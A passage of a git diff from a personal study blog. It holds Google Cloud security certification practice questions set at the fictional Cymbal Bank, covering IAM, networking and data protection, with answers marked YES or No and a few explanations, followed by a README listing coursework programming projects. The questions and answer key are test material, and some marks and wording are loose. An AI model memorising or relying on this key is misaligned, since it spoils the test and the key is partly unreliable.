23.44.52](/assets/img/Screenshot%202023-06-25%20at%2023.44.52_wc48t0cji.png) + +![Screenshot 2023-06-25 at 23.45.52](/assets/img/Screenshot%202023-06-25%20at%2023.45.52.png) + +![Screenshot 2023-06-25 at 23.46.50](/assets/img/Screenshot%202023-06-25%20at%2023.46.50.png) + +![Screenshot 2023-06-25 at 23.47.36](/assets/img/Screenshot%202023-06-25%20at%2023.47.36.png) + +![Screenshot 2023-06-25 at 23.47.53](/assets/img/Screenshot%202023-06-25%20at%2023.47.53.png) + +![Screenshot 2023-06-25 at 23.48.10](/assets/img/Screenshot%202023-06-25%20at%2023.48.10.png) + + +### Boundary Security + + +![Screenshot 2023-07-01 at 23.29.58](/assets/img/Screenshot%202023-07-01%20at%2023.29.58.png) + +![Screenshot 2023-07-01 at 23.30.27](/assets/img/Screenshot%202023-07-01%20at%2023.30.27.png) + +![Screenshot 2023-07-01 at 23.31.02](/assets/img/Screenshot%202023-07-01%20at%2023.31.02.png) + +![Screenshot 2023-07-01 at 23.31.19](/assets/img/Screenshot%202023-07-01%20at%2023.31.19.png) + +![Screenshot 2023-07-01 at 23.32.08](/assets/img/Screenshot%202023-07-01%20at%2023.32.08.png) + +![Screenshot 2023-07-01 at 23.32.18](/assets/img/Screenshot%202023-07-01%20at%2023.32.18.png) + +![Screenshot 2023-07-01 at 23.32.37](/assets/img/Screenshot%202023-07-01%20at%2023.32.37.png) + +![Screenshot 2023-07-01 at 23.32.53](/assets/img/Screenshot%202023-07-01%20at%2023.32.53.png) + +![Screenshot 2023-07-01 at 23.33.56](/assets/img/Screenshot%202023-07-01%20at%2023.33.56.png) + + +### Data Protection + +![Screenshot 2023-07-02 at 14.23.23](/assets/img/Screenshot%202023-07-02%20at%2014.23.23.png) + +![Screenshot 2023-07-02 at 14.23.44](/assets/img/Screenshot%202023-07-02%20at%2014.23.44.png) + +![Screenshot 2023-07-02 at 14.24.46](/assets/img/Screenshot%202023-07-02%20at%2014.24.46.png) + +![Screenshot 2023-07-02 at 14.25.43](/assets/img/Screenshot%202023-07-02%20at%2014.25.43.png) + +![Screenshot 2023-07-02 at 14.26.07](/assets/img/Screenshot%202023-07-02%20at%2014.26.07.png) + +![Screenshot 2023-07-02 at 14.26.42](/assets/img/Screenshot%202023-07-02%20at%2014.26.42.png) + +![Screenshot 2023-07-02 at 14.27.03](/assets/img/Screenshot%202023-07-02%20at%2014.27.03.png) + + + + +--- + +## Question + +### IAM + +- Cymbal Bank has acquired a non-banking financial company (NBFC). This NBFC uses Active Directory as their central directory on an on-premises Windows Server. You have been tasked with **migrating all the NBFC users and employee information to Cloud Identity**. What should you do? + - No : Run Microsoft System Center Configuration Manager (SCCM) on a Compute Engine instance. Leave the channel unencrypted because you are in a secure Google Cloud environment. Deploy Google Cloud Directory Sync on the Compute Engine instance. Connect to the on-premises Windows Server environment from the instance, and migrate users to Cloud Identity. + - No : Run Configuration Manager on a Compute Engine instance. Copy the resulting configuration file from this machine onto a new Compute Engine instance to keep the production environment separate from the staging environment. Leave the channel unencrypted because you are in a secure Google Cloud environment. Deploy Google Cloud Directory Sync on this new instance. Connect to the on-premises Windows Server environment from the new instance, and migrate users to Cloud Identity. + - YES : Use ** Cloud VPN to connect the on-premises network to your Google Cloud environment **. Select an on-premises domain-joined Windows Server. ** On the domain-joined Windows Server, run Configuration Manager and Google Cloud Directory Sync **. Use ** Cloud VPN’s encrypted channel to transfer users ** from the on-premises Active Directory to Cloud Identity. + - No : Select an on-premises domain-joined Windows Server. Run Configuration Manager on the domain-joined Windows Server, and `copy` the resulting configuration file to a Compute Engine instance. Run Google Cloud Directory Sync on the Compute Engine instance over the internet, and use Cloud VPN to sync users from the on-premises Active Directory to Cloud Identity. + +- Cymbal Bank has certain default permissions and access for their analyst, finance, and teller teams. These teams are organized into groups that have a set of role-based IAM permissions assigned to them. After a recent acquisition of a small bank, you find that `the small bank directly assigns permissions to their employees in IAM.` You have been tasked with applying Cymbal Bank’s organizational structure to the small bank. Employees will need access to Google Cloud services. What should you do? + - Nox2: Leave all user permissions as-is in the small bank’s IAM . Use the Directory API in the Google Workspace Admin SDK to create Google Groups. Use a Python script to allocate users to the Google Groups. + - YES : Reset all user permissions in the small bank’s IAM . Use Cloud Identity to create dynamic groups for each of the bank’s teams . Use the dynamic groups’ metadata field for team typ e to allocate users to their appropriate group with a Python script. + - Use Dynamic Groups to create groups based on Identity attributes , such as department, and place the users in a flat hierarchy. + - Dynamic group metadata helps build the structure to identify the users. + - Nox2: Reset all user permissions in the small bank’s IAM . Use Cloud Identity to create the required Google Groups. Upgrade the Google Groups to Security Groups . Use a Python script to allocate users to the groups. + - Nox2: Reset all user permissions in the small bank’s IAM . Use the Directory API in the Google Workspace Admin SDK to create Google Groups. Use a Python script to allocate users to the groups. + +- Cymbal Bank leverages Google Cloud storage services, an on-premises Apache Spark Cluster, and a web application hosted on a third-party cloud. The Spark cluster and web application require limited access to Cloud Storage buckets and a Cloud SQL instance for only a few hours per day. You have been tasked with sharing credentials while **minimizing the risk that the credentials will be compromised**. What should you do? + - No : Create a service account with appropriate permissions. Authenticate the Spark Cluster and the web application as direct requests and share the service account key . + - YES : Create a service account with appropriate permissions. Have the Spark Cluster and the web application authenticate as delegated requests, and share the short-lived service account credential as a JWT . + - No : Create a service account with appropriate permissions. Authenticate the Spark Cluster and the web application as a delegated request, and share the service account key . + - No : Create a service account with appropriate permissions. Have the Spark Cluster and the web application authenticate as a direct request, and share the short-lived service account credentials as XML tokens . + +- Cymbal Bank recently discovered service account key misuse in one of the teams during a security audit. As a precaution, going forward you **do not want any team** in your organization to generate new external service account keys. You also want to **restrict every new service account’s usage to its associated Project**. What should you do? + - YES : Navigate to Organizational policies in the Google Cloud Console. Select your organization . Select iam.disableServiceAccountKeyCreation. Customize the applied to property, and set Enforcement to ‘On’. Click Save. Repeat the process for iam.disableCrossProjectServiceAccountUsage. + - No : Run the gcloud resource-manager org-policies enable-enforce command with the constraints iam.disableServiceAccountKeyCreation, and iam.disableCrossProjectServiceAccountUsage and the Project IDs you want the constraints to apply to. + - No : Navigate to Organizational policies in the Google Cloud Console. Select your organization. Select iam.disableServiceAccountKeyCreation. Under Policy Enforcement, select Merge with parent. Click Save. Repeat the process for iam.disableCrossProjectServiceAccountLienRemoval . + - No : Run the gcloud resource-manager org-policies allow command with the boolean constraints iam.disableServiceAccountKeyCreation and iam.disableCrossProjectServiceAccountUsage with Organization ID. + +- Cymbal Bank publishes its APIs through Apigee. Cymbal Bank has recently acquired ABC Corp, which uses a third-party identity provider. You have been tasked with **connecting ABC Corp’s identity provider to Apigee for single sign-on (SSO)**. You need to set up SSO so that Google is the service provider. You also want to **monitor and log high-risk activities**. Which two choices would you select to enable SSO? + - YES : Use openssl to generate public and private keys. Store the public key in an X.509 certificate , and encrypt using RSA or DSA for SAML. Sign in to the Google Admin console, and under Security, upload the certificate . + - No : Use openssl to generate a private key. Store the private key in an X.509 certificate , and encrypt using AES or DES for SAML. Sign in to the Google Workspace Admin Console and upload the certificate. + - No : Use openssl to generate public and private keys. Store the private key in an X.509 certificate , and encrypt using AES or DES for SAML. Sign in to the Google Admin console, and under Security, upload the certificate. + - YES : Review Network mapping results, and assign SSO profiles to required users. + - No : Review Network mapping results, and assign SAML profiles to required users. + +- You are an administrator for Cymbal Bank’s Mobile Development Team. You want to control `how long different users can access the Google Cloud console`, the Cloud SDK, and any applications that require user authorization for Google Cloud scopes without having to reauthenticate. More specifically, you want `users with elevated privileges (project owners and billing administrators) to reauthenticate more frequently` than regular users at the organization level. What should you do? + - No : Open all Google Cloud projects that belong to Cymbal Bank’s Mobile Development team. Find each project’s Google Cloud session control setting, and configure a reauthentication policy that requires reauthentication. Choose the reauthentication frequency from the drop-down list. + - YES : In the Admin console , select Google Cloud session control and set a reauthentication policy that requires reauthentication. Choose the reauthentication frequency from the drop-down list. + - No : Create a custom role for project owners and billing administrators at the organization level in the Google Cloud console . Add the reauthenticationRequired permission to this role. `Assign this role to each` project owner and billing administrator. + - Nox2: Create a custom role for project owners and billing administrators at the organization level in the Google Cloud console . Add the reauthenticationRequired permission to this role. Create a Google Group that contains all billing administrators and project owners. Apply the custom role to the group. + +- Cymbal Bank’s organizational hierarchy divides the Organization into departments. The Engineering Department has a ‘product team’ folder. This folder contains folders for each of the bank’s products. Each product folder contains one Google Cloud Project, but more may be added. Each project contains an App Engine deployment. Cymbal Bank has hired a new technical product manager and a new web developer. The **technical product manager must be able to interact with and manage all services in projects that roll up to the Engineering Department folder**. The **web developer needs read-only** access to App Engine configurations and settings for a specific product. How should you provision the new employees’ roles into your hierarchy following principles of least privilege? + - No : Assign the Project Editor role in each individual project to the technical product manager. Assign the Project Editor role in each individual project to the web developer. + - No : Assign the Project Owner role in each individual project to the technical product manager. Assign the App Engine Deployer role in each individual project to the web developer. + - YES : Assign the Project Editor role at the Engineering Department folder level to the technical product manager. Assign the App Engine Deployer role at the specific product’s folder level to the web developer. + - No : Assign the Project Editor role at the Engineering Department folder level to the technical product manager. Create a Custom Role in the product folder that the web developer needs access to. Add the appengine.versions. create and appengine.versions. delete permissions to that role, and assign it to the web developer. + +- Cymbal Bank’s organizational hierarchy divides the Organization into departments. The Engineering Department has a ‘product team’ folder. This folder contains folders for each of the bank’s products. One folder titled “analytics” contains a Google Cloud Project that contains an App Engine deployment and a Cloud SQL instance. A `team needs specific access to this project`. The team `lead needs full administrative access` to App Engine and Cloud SQL. A `developer must be able to configure and manage` all aspects of App Engine deployments. There is also a `code reviewer who may periodically review the deployed App Engine source code without making any changes`. What types of permissions would you provide to each of these users? + - No : Create custom roles for all three user types at the “analytics” folder level. For the team lead, provide all appengine.* and cloudsql.* permissions. For the developer, provide appengine.applications.* and appengine.instances.* permissions. For the code reviewer, provide the appengine.instances.* permissions. + - YES : Assign the basic App Engine Admin and Cloud SQL Admin roles to the team lead. Assign the ‘App Engine Admin’ role to the developer. Assign the App Engine Code Viewer role to the code reviewer. Assign all these permissions at the analytics project level. + - No : Create custom roles for all three user types at the project level. For the team lead, provide all appengine.* and cloudsql.* permissions. For the developer, provide appengine.applications.* and appengine.instances.* permissions. For the code reviewer, provide the appengine.instances.* permissions. + - No : Assign the basic ‘Editor’ role to the team lead. Create a custom role for the developer. Provide all appengine.* permissions to the developer. Provide the predefined ‘App Engine Code Viewer’ role to the code reviewer. Assign all these permissions at the “analytics” folder level. + +- Cymbal Bank is divided into **separate departments**. Each department is **divided into teams**. Each team **works on a distinct product** that requires Google Cloud resources for development. How would you **design a Google Cloud organization hierarchy** to best match Cymbal Bank’s organization structure and needs? + - No : Create an Organization node. Under the Organization node, create Department folders. Under each Department, create Product folders. Under each Product, create Teams folders. In the Teams folder, add Projects. + - No : Create an Organization node. Under the Organization node, create Department folders. Under each Department, create Product folders. Add Projects to the Product folders. + - No : Create an Organization node. Under the Organization node, create Department folders. Under each Department, create Teams folders. Add Projects to the Teams folders. + - YES : Create an Organization node. Under the Organization node, create Department folders. Under each Department, create a Teams folder. Under each Team, create Product folders. Add Projects to the Product folders . + +- Cymbal Bank has a team of developers and administrators working on different sets of Google Cloud resources. The Bank’s `administrators should be able to access the serial ports on Compute Engine Instances and create service accounts`. `Developers should only be able to access serial ports`. How would you design the organization hierarchy to provide the required access? + - Nox2: Deny Serial Port Access and Service Account Creation at the Organization level. + - Create an ‘admin’ folder and set enforced: false for constraints/compute.disableSerialPortAccess. + - Create a new ‘dev’ folder inside the ‘admin’ folder, and set enforced: false for constraints/iam.disableServiceAccountCreation. + - Give developers access to the ‘dev’ folder, and administrators access to the ‘admin’ folder. + - YES : Deny Serial Port Access and Service Account Creation at the organization level. + - Create a ‘dev’ folder and set enforced: false for constraints/compute.disableSerialPortAccess . + - Create a new ‘admin’ folder inside the ‘dev’ folder, and set enforced: false for constraints/iam.disableServiceAccountCreation . + - Give developers access to the ‘dev’ folder, and administrators access to the ‘admin’ folder. + - Nox2: Deny Serial Port Access and Service Account Creation at the organization level. + - Create a ‘dev’ folder and set enforced: true for constraints/compute.disableSerialPortAccess and enforced: true for constraints/iam.disableServiceAccountCreation. + - Create a new ‘admin’ folder inside the ‘dev’ folder, and set enforced: false for constraints/iam.disableServiceAccountCreation. + - Give developers access to the ‘dev’ folder, and administrators access to the ‘admin’ folder. + - Nox2: Allow Serial Port Access and Service Account Creation at the organization level. + - Create a ‘dev’ folder and set enforced: true for constraints/iam.disableServiceAccountCreation. + - Create another ‘admin’ folder that inherits from the parent inside the organization node. + - Give developers access to the ‘dev’ folder, and administrators access to the ‘admin’ folder. + + + + +- Which tool will Cymbal Bank use to `synchronize their identities from their on-premise identity management system to Google Cloud`? + - Active Directory + - Service Accounts + - Google Cloud Directory Sync + - Cloud Identity + +- Which feature of Google Cloud will Cymbal Bank use to `control the source locations and times that authorized identities will be able to access resources`? + - IAM Conditions + - IAM Roles : necessary to authorize identities to access resources, but can’t be used alone to control when or from where the authorized identities can access the resources. + - Service Accounts : Service Accounts are service identities in Google Cloud, and can’t be used to control when or from where authorized identities can access resources. + - Identity-aware Proxy + + +### Network + + + + + +> Rate-based-ban would be helpful to disable the incoming services for a time period . +> Error 403 is incorrect; it indicates invalid authorization + +- Cymbal Bank has published an API that `internal teams will use` through the HTTPS load balancer. You need to limit the API usage to `200 calls` every hour. Any exceeding usage should `inform the users that servers are busy`. Which gcloud command would you run to throttle the load balancing for the given specification? + + - gcloud compute security-policies rules create priority + --security-policy sec-policy + --src-ip-ranges= source-range + --action= throttle + --rate-limit-threshold-count=200 + --rate-limit-threshold-interval-sec=3600 + --conform-action= allow + --exceed-action=deny-429 + --enforce-on-key=HTTP-HEADER + + - gcloud compute security-policies rules create priority + --security-policy sec-policy + --src-ip-ranges=source-range + --action= rate-based-ban + --rate-limit-threshold-count=200 + --rate-limit-threshold-interval-sec=3600 + --conform-action=deny + --exceed-action=deny-403 + --enforce-on-key=HTTP-HEADER + + - gcloud compute security-policies rules create priority + --security-policy sec-policy + --src-ip-ranges=source-range + --action= rate-based-ban + --rate-limit-threshold-count=200 + --rate-limit-threshold-interval-sec=3600 + --conform-action=allow + --exceed-action=deny-500 + --enforce-on-key=IP + + - gcloud compute security-policies rules create priority + --security-policy sec-policy + --src-ip-ranges=source-range + --action=throttle + --rate-limit-threshold-count=200 + --rate-limit-threshold-interval-sec=60 + --conform-action= deny + --exceed-action=deny-404 + --enforce-on-key=HTTP-HEADER + + + +- Cymbal Bank is releasing a new loan management application using a Compute Engine managed instance group. External `users will connect to the application using a domain name or IP address protected with TLS 1.2`. A load balancer already hosts this application and preserves the source IP address. You are tasked with `setting up the SSL certificate for this load balancer`. What should you do? + + - Create a Google-managed SSL certificate . + Attach a global static external IP address to the external HTTPS load balancer. + Validate that an existing URL map will route the incoming service to your managed instance group backend . + Load your certificate and create an HTTPS proxy routing to your URL map. + Create a global forwarding rule that routes incoming requests to the proxy . + + - Create a Google-managed SSL certificate. + Attach a global dynamic external IP address to the internal HTTPS load balancer. + Validate that an existing URL map will route the incoming service to your managed instance group backend. + Load your certificate and create an HTTPS proxy routing to your URL map. + Create a global forwarding rule that routes incoming requests to the proxy. + + - Import a self-managed SSL certificate . + Attach a global static external IP address to the SSL Proxy load balancer. + Validate that an existing URL map will route the incoming service to your managed instance group backend. + Load your certificate and create an SSL proxy routing to your URL map. + Create a global forwarding rule that routes incoming requests to the proxy. + + - Import a self-managed SSL certificate . + Attach a global static external IP address to the TCP Proxy load balancer. + Validate that an existing URL map will route the incoming service to your managed instance group backend. + Load your certificate and create a TCP proxy routing to your URL map. + Create a global forwarding rule that routes incoming requests to the proxy. + + + +> IAP TCP forwarding establishes an encrypted tunnel that supports both SSH and RDP requests. + +- Your organization has a website running on Compute Engine. This instance only has a private IP address. You need to `provide SSH access to an on-premises developer who will debug the website from the authorized on-premises location only`. How do you enable this? + + - Use SOCKS proxy over SSH. Set up an SSH tunnel to one of the hosts in the network. Create the SOCKS proxy on the client side. + + - Set up Cloud VPN. Set up an unencrypted tunnel to one of the hosts in the network. Create outbound or egress firewall rules. Use the private IP address to log in using a gcloud ssh command. + + - Use the default VPC’s firewall. Open port 22 for TCP protocol using the Google Cloud Console. + + - Use Identity-Aware Proxy (IAP) . Set up IAP TCP forwarding by creating ingress firewall rules on port 22 for TCP using the gcloud command. + + + + + +- You have recently joined Cymbal Bank as a cloud engineer. You `created a custom VPC network, selecting to use the automatic subnet creation mode and nothing else`. The default network still exists in your project. You create a new Linux VM instance and select the custom VPC as the network interface. You try to `SSH into your instance, but you are getting a “connection failed” error`. What answer best explains why you cannot SSH into the instance? + + - You should have deleted the default network. When you have multiple VPCs in your project, Compute Engine can’t allow you to connect because overlapping IP ranges prevent the API from establishing a root connection. + + - You should have used custom subnet creation mode. Since the default VPC still exists, automatic mode created subnets in the same regions, which led to overlapping IP addresses. + + - You did not set up any firewall rules on your custom VPC network. While the default VPC comes with a predefined firewall rule that allows SSH traffic, these need to be added to any custom VPCs . + + - You should have used the default network when setting up your instance. While custom networks support instance creation, they should only be used for internal communication. + + +- Cymbal Bank needs to `connect its employee MongoDB database to a new human resources web application on the same network`. Both the database and the application are autoscaled with the help of Instance templates. As the Security Administrator and Project Editor, you have been tasked with `allowing the application to read port 27017 on the database`. What should you do? + + - Create service accounts for the application and database . Create a firewall rule using: + gcloud compute firewall-rules create ALLOW_MONGO_DB + --network network-name + --allow TCP:27017 + --source-service-accounts web-application-service-account + --target-service-accounts database-service-account + + - Create service accounts for the application and database. Create a firewall rule using: + gcloud compute firewall-rules create ALLOW_MONGO_DB + --network network-name + --allow ICMP:27017 + --source-service-accounts web-application-service-account + --target-service-accounts database-service-account + + - Create user accounts for the application and database. Create a firewall rule using: + gcloud compute firewall-rules create ALLOW_MONGO_DB + --network network-name + --deny UDP:27017 + --source-service-accounts web-application-user-account + --target-service-accounts database-admin-user-account + + - Create a user account for the database admin and a service account for the application. Create a firewall rule using: + gcloud compute firewall-rules create ALLOW_MONGO_DB + --network network-name + --allow TCP:27017 + --source-service-accounts web-application-service-account + --target-service-accounts database-admin-user-account + + +- Cymbal Bank has designed an application to detect credit card fraud that will analyze sensitive information. The application that’s running on a Compute Engine instance is hosted in a new subnet on an existing VPC. Multiple teams who have access to other VMs in the same VPC must access the VM. You want to `configure the access so that unauthorized VMs or users from the internet can’t access the fraud detection VM`. What should you do? + + - Use target filtering. Create two tags called ‘app’ and ‘data’. Assign the ‘app’ tag to the Compute Engine instance hosting the Fraud Detection App (source), and assign the ‘data’ tag to the other Compute Engine instances (target). Create a firewall rule to allow all ingress communication on this tag. + + - Use target filtering . Create a tag called ‘app’, and assign the tag to both the source and the target. Create a firewall rule to allow all ingress communication on this tag. + + - Use subnet isolation. Create a service account for the fraud detection VM. Create one service account for all the teams’ Compute Engine instances that will access the fraud detection VM. + Create a new firewall rule using: + gcloud compute firewall-rules create ACCESS_FRAUD_ENGINE + --network + --allow TCP:80 + --source-service-accounts + --target-service-accounts + + - Use subnet isolation . Create a service account for the fraud detection engine. Create service accounts for each of the teams’ Compute Engine instances that will access the engine. Add a firewall rule using: + gcloud compute firewall-rules create ACCESS_FRAUD_ENGINE + --network + --allow TCP:80 + --source-service-accounts + --target-service-accounts + + +> App Engine uses a fixed set of NAT and health check IP address ranges that must be permitted into the VPC. +> Because the charges must be incurred by the credit analysis team, you need to create the connector on the client side. + +- The data from Cymbal Bank’s loan applicants resides in a shared VPC. A credit analysis team uses a CRM tool hosted in the App Engine standard environment. You need to `provide credit analysts with access to this data. You want the charges to be incurred by the credit analysis team`. What should you do? + + + - Add egress firewall rules to allow SSH and/or RDP ports for the App Engine standard environment in the Shared VPC network. + - Create a client-side connector in the Service Project using the IP range of the target VPC. Verify that the connector is in a READY state. + - Create an egress rule on the Shared VPC network to allow the connector using Network Tags or IP ranges. + + - Add egress firewall rules to allow TCP and UDP ports for the App Engine standard environment in the Shared VPC network. + - Create either a client-side connector in the Service Project or a server-side connector in the Host Project using the IP Range or Project ID of the target VPC. Verify that the connector is in a READY state. + - Create an egress rule on the Shared VPC network to allow the connector using Network Tags or IP ranges. + + - Add ingress firewall rules to allow NAT and Health Check ranges for the App Engine standard environment in the Shared VPC network. + - Create a server-side connector in the Host Project using the Shared VPC Project ID. Verify that the connector is in a READY state. + - Create an ingress rule on the Shared VPC network to allow the connector using Network Tags or IP ranges. + + - Add ingress firewall rules to allow NAT and Health Check ranges for the App Engine standard environment in the Shared VPC network. + - Create a client-side connector in the Service Project using the Shared VPC Project ID. Verify that the connector is in a READY state. + - Create an ingress rule on the Shared VPC network to allow the connector using Network Tags or IP ranges . + + + + +- Cymbal Bank’s Customer Details `API runs on a Compute Engine instance with only an internal IP address`. Cymbal Bank’s new branch is co-located outside the Google Cloud points-of-presence (PoPs) and requires a `low-latency way for its on-premises apps to consume the API without exposing the requests to the public internet`. Which solution would you recommend? + + - Use Carrier Peering. Use a service provider to access their enterprise grade infrastructure to connect to the Google Cloud environment. + + - Use a Content Delivery Network (CDN). Establish direct peering with one of Google’s nearby edge-enabled PoPs. + + - Use Dedicated Interconnect. Establish direct peering with one of Google’s nearby edge-enabled PoPs. + + - Use Partner Interconnect . Use a service provider to access their enterprise grade infrastructure to connect to the Google Cloud environment. + + +- An external audit agency needs to perform a one-time review of Cymbal Bank’s Google Cloud usage. The auditors `should be able to access a Default VPC` containing BigQuery, Cloud Storage, and Compute Engine instances where all the usage information is stored. You have been tasked with `enabling the access from their on-premises environment, which already has a configured VPN`. What should you do? + + - Use Dedicated Interconnect. Configure a VLAN in the auditor's on-premises environment. Use Cloud DNS to create DNS zones and records for restricted.googleapis.com and private.googleapis.com. Set up on-premises routing with Cloud Router. Add custom static routes in the VPC to connect individually to BigQuery, Cloud Storage, and Compute Engine instances. + + - Use a Cloud VPN tunnel . + - Use Cloud DNS to create DNS zones and records for *.googleapis.com. + - Set up on-premises routing with Cloud Router. Use Cloud Router custom route advertisements to announce routes for Google Cloud destinations. + + - Use a Cloud VPN tunnel. + - Use your DNS provider to create DNS zones and records for private.googleapis.com. Connect the DNS provider to your on-premises network. Broadcast the request from the on-premises environment. Use a software-defined firewall to manage incoming and outgoing requests. + + - Use Partner Interconnect. Configure an encrypted tunnel in the auditor's on-premises environment. Use Cloud DNS to create DNS zones and A records for private.googleapis.com. + + + +> Cloud NAT gateways help provide internet access (outbound) without requiring a public IP address. +> Cloud DNS is required for domain name resolution; it cannot decide upon internet access. + +- An ecommerce portal uses Google Kubernetes Engine to deploy its recommendation engine in Docker containers. This `cluster instance does not have an external IP address`. You need to `provide internet access to the pods in the Kubernetes cluster`. What configuration would you add? + + - Cloud DNS , subnet primary IP address range for nodes, and subnet secondary IP address range for pods and services in the cluster + + - Cloud VPN, subnet secondary IP address range for nodes, and subnet secondary IP address range for pods and services in the cluster + + - Nginx load balancer, subnet secondary IP address range for nodes, and subnet secondary IP address range for pods and services in the cluster + + - Cloud NAT gateway, subnet primary IP address range for nodes, and subnet secondary IP address range for pods and services in the cluster + + +> Identity-Aware Proxy (IAP) provides authentication and authorization for services deployed to Google Cloud. + +- Which tool will Cymbal Bank use `to enforce authentication and authorization for services deployed to Google Cloud`? + - Identity-Aware proxy + - HTTP(S) load balancer + - Firewall rules + - Google Cloud Armor + + +> Cloud NAT is primarily intended for enabling resources with only internal IP addresses to make requests to the Internet. + +- How will Cymbal Bank `enable resources with only internal IP addresses to make requests to the Internet`? + - Dedicated Interconnect + - Google private access + - Shared VPC + - Cloud NAT + + + +### Data Protection diff --git a/_posts/00LearningPath/CodeREADME.md b/_posts/00LearningPath/CodeREADME.md new file mode 100644 index 00000000000..c75dc59fd64 --- /dev/null +++ b/_posts/00LearningPath/CodeREADME.md @@ -0,0 +1,78 @@ + + +# Programming - Code & Learning Path + +`| ᐕ)⁾⁾ como estas~~~~ bien~~~~ y tu?~~~~ yes` + +--- + +## Code Demo + +--- + +### java project + +Path: `https://github.com/ocholuo/language/tree/master/0.project/javademo/` + +Index | Name | Date | Course material +---|---|---|---| +1 | [PerimeterRunner](https://github.com/ocholuo/language/tree/master/0.project/javademo/2020-09-04-PerimeterRunner/PerimeterRunner.java) | 2020-09-04 | DukeU in Coursera +2 | [FindingWebLinks](https://github.com/ocholuo/language/tree/master/0.project/javademo/2020-09-04-FindingWebLinks/FindingWebLinks.java) | 2020-09-04 | DukeU in Coursera +3 | [FindGenieinDNA](https://github.com/ocholuo/language/tree/master/0.project/javademo/2020-09-05-FindGenieinDNA/FindGenieinDNA.java) | 2020-09-05 | DukeU in Coursera +4 | [CSVofCountryExport](https://github.com/ocholuo/language/tree/master/0.project/javademo/2020-09-05-CSVofCountryExport/CSVofCountryExport.java) | 2020-09-05 | DukeU in Coursera +5 | [FindHottestDay](https://github.com/ocholuo/language/tree/master/0.project/javademo/2020-09-05-FindHottestDay/FindHottestDay.java) | 2020-09-05 | DukeU in Coursera +6 | [BabyNames](https://github.com/ocholuo/language/tree/master/0.project/javademo/2020-09-06-BabyNames/BabyNames.java)
    `use CSVParser to process multiple line:`
    `FileResource fr = new FileResource(fname); `
    `CSVParser parser = fr.getCSVParser(false);`
    `for(CSVRecord rec : parser)`
    `rec.get(0)`| 2020-09-06 | DukeU in Coursera | +7 | [RollsSimulate](https://github.com/ocholuo/language/tree/master/0.project/javademo/2020-09-06-RollsSimulate/RollsSimulate.java)
    `sum two random roll number, make a record array:`
    `Random rand = new Random();`
    `for(int i = 0; i < rolls; i++){`
    `int d1 = rand.nextInt(6) + 1` | 2020-09-06 | DukeU in Coursera | +8 | [CountShakespeareWords](https://github.com/ocholuo/language/tree/master/0.project/javademo/2020-09-07-CountShakespeareWords/CountShakespeareWords.java)
    `make a word record array:` | 2020-09-07 | DukeU in Coursera | +9 | [CaesarCipherAlgorithm](https://github.com/ocholuo/language/tree/master/0.project/javademo/2020-09-07-CaesarCipherAlgorithm/CaesarCipherAlgorithm.java)
    `encrypt and decrypt the cipher with 1 key or 2 key` | 2020-09-07 | DukeU in Coursera | +10 | [GladLibs](https://github.com/ocholuo/language/tree/master/0.project/javademo/2020-09-07-GladLibs/GladLibs.java)
    `ArrayList create random story` | 2020-09-07 | DukeU in Coursera | +11 | [WordFrequencies](https://github.com/ocholuo/language/tree/master/0.project/javademo/2020-09-07-WordFrequencies/WordFrequencies.java) | 2020-09-07 | DukeU in Coursera | +12 | [WordFrequenciesMap](https://github.com/ocholuo/language/tree/master/0.project/javademo/2020-09-07-WordFrequenciesMap/WordFrequenciesMap.java)
    `HashMap` | 2020-09-07 | DukeU in Coursera | +13 | [CodonCount](https://github.com/ocholuo/language/tree/master/0.project/javademo/2020-09-08-CodonCount/CodonCount.java)
    `use hashmap to operate dna codon` | 2020-09-08 | DukeU in Coursera | +14 | [WordsinFiles](https://github.com/ocholuo/language/tree/master/0.project/javademo/2020-09-08-WordsinFiles/WordsinFiles.java)
    `word - file - directory HashMap create` | 2020-09-08 | DukeU in Coursera | +15 | [LogEntry](https://github.com/ocholuo/language/tree/master/0.project/javademo/2020-09-09-LogEntry/LogEntry.java)
    `analyst web log entry` | 2020-09-09 | DukeU in Coursera | +16 | [VigenereProgram](https://github.com/ocholuo/language/tree/master/0.project/javademo/2020-09-10-VigenereProgram/VigenereCipher.java)
    `Break the Vigenere Cipher` | 2020-09-10 | DukeU in Coursera | +17 | [SearchingEarthquakeDataStarterProgram](https://github.com/ocholuo/language/tree/master/0.project/javademo/2020-09-11-SearchingEarthquakeDataStarterProgram)
    `operate the class and analyst the Earthquake Event Log` | 2020-09-11 | DukeU in Coursera | +18 | [EarthquakeFilterStarterProgram](https://github.com/ocholuo/language/tree/master/0.project/javademo/2020-09-12-EarthquakeFilterStarterProgram)
    `use interface Filter to avoid duplicate code` | 2020-09-12 | DukeU in Coursera | +19 | [EarthquakeSortStarterProgram](https://github.com/ocholuo/language/tree/master/0.project/javademo/2020-09-13-EarthquakeSortStarterProgram)
    `sort` | 2020-09-13 | DukeU in Coursera | +20 | [EfficientSortStarterProgram](https://github.com/ocholuo/language/tree/master/0.project/javademo/2020-09-13-EfficientSortStarterProgram)
    `Collections.sort(list, new ComparatorSort()` | 2020-09-13 | DukeU in Coursera | +20 | [RandomTextStarterProgram](https://github.com/ocholuo/language/tree/master/0.project/javademo/2020-09-14-RandomTextStarterProgram) | 2020-09-13 | DukeU in Coursera | + + +--- + +### python project + +Path: `https://github.com/ocholuo/language/tree/master/0.project/pycode/` + +Index | Name | Date | Course material +---|---|---|--- +1 | [Little Turtles Adventure](https://github.com/ocholuo/language/tree/master/0.project/pycode/2020-03-21-LittleTurtlesAdventure.md) | 2020-03-21 | UMichigan in Coursera Chapter ?? : P +2 | [Are Your Words Happy](https://github.com/ocholuo/language/tree/master/0.project/pycode/2020-03-25-AreYourWordsHappy.md) | 2020-03-25 | UMichigan in Coursera Chapter 16.10 +3 | [Nested Pokemon](https://github.com/ocholuo/language/tree/master/0.project/pycode/2020-03-25-NestedPokemon.md) | 03/25/2020 | UMichigan in Coursera Chapter 17.8 +4 | [Hi MyTamagotchiJiang](https://github.com/ocholuo/language/tree/master/0.project/pycode/2020-03-28-HiMyTamagotchiJiang.md) | 03/28/2020 | UMichigan in Coursera Chapter 20.13 +5 | [Hi MyPokemon](https://github.com/ocholuo/language/tree/master/0.project/pycode/2020-03-20-HiMyPokemon.md) | 03/30/2020 | UMichigan in Coursera Chapter 22.7 +6 | [Wheel Of Python](https://github.com/ocholuo/language/tree/master/0.project/pycode/2020-03-20-WheelOfPython.md) | 03/30/2020 | UMichigan in Coursera Chapter 22.8 +7 | [Taste Dive](https://github.com/ocholuo/language/tree/master/0.project/pycode/2020-04-03-TasteDive.md) | 2020-04-03 | UMichigan in Coursera Chapter 24.14 +8 | [Beautiful 